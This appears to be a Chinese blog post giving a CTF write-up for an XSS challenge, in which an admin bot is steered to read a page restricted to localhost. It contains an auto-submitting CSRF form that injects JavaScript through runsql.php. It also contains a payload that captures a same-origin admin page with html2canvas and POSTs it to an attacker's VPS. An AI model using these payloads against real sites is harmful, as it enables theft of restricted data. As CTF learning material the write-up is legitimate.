MySQL_Online(xss读取目标同源网页)

2018-07-23  本文已影响0人  白里个白

写在前面

巅峰极客挑战赛中,做到柠檬师傅出的题,由于自己的js水平太渣渣,这个题做了很久,于是赶快写文记录自己的解题过程。

描述

主要是XSS,网站中允许输入一个地址,管理员会使用chrome浏览器打开该网页。并且该网站存在一个能写入js代码的页面,最后flag藏在一个页面中,该页面在服务器配置时设置只允许127.0.0.1访问,其余为403错误。

思路

通过对该网站写入js代码,让127.0.0.1访问我们写好js代码的页面,最后得到flag页面。

过程

首先,先写一个自动提交form表单的页面

<script type="text/javascript">function autoSubmit(){ document.getElementById("myForm").submit();}</script><body onload="autoSubmit();" ><form id="myForm" action="http://127.0.0.1/runsql.php" method="post"><input name="sql" value = "select unhex('hexjs')" onChange="if (this.selectedIndex != 0) autoSubmit();">
</form>

当我们让管理员访问这个页面的时候,管理员就会post数据到本地的runsql.php页面,这时runsql.php页面上就会有我们的js数据

接下来构造js:

<html>
  <body>
<iframe id="mysql" width="778" align="center" height="200" id="win" name="win" onload="Javascript:SetWinHeight(this)" frameborder="0" scrolling="no" src="admin_zzzz666.php"></iframe>
    <script type="text/javascript" src="https://html2canvas.hertzen.com/dist/html2canvas.js"></script>
    <script type="text/javascript">
var mysql = document.getElementById("mysql").contentWindow.document;
        html2canvas(mysql.body).then(function(canvas) {
var xmlhttp;

  xmlhttp=new XMLHttpRequest();

xmlhttp.open("POST","your vsp",true);

xmlhttp.send(canvas.toDataURL());
});
    </script>
  </body>
</html>

这个页面会自动获取同源网页的页面,然后发送到vps上。最后就能得到flag了。


admin_zzzz666.php
上一篇下一篇

猜你喜欢

热点阅读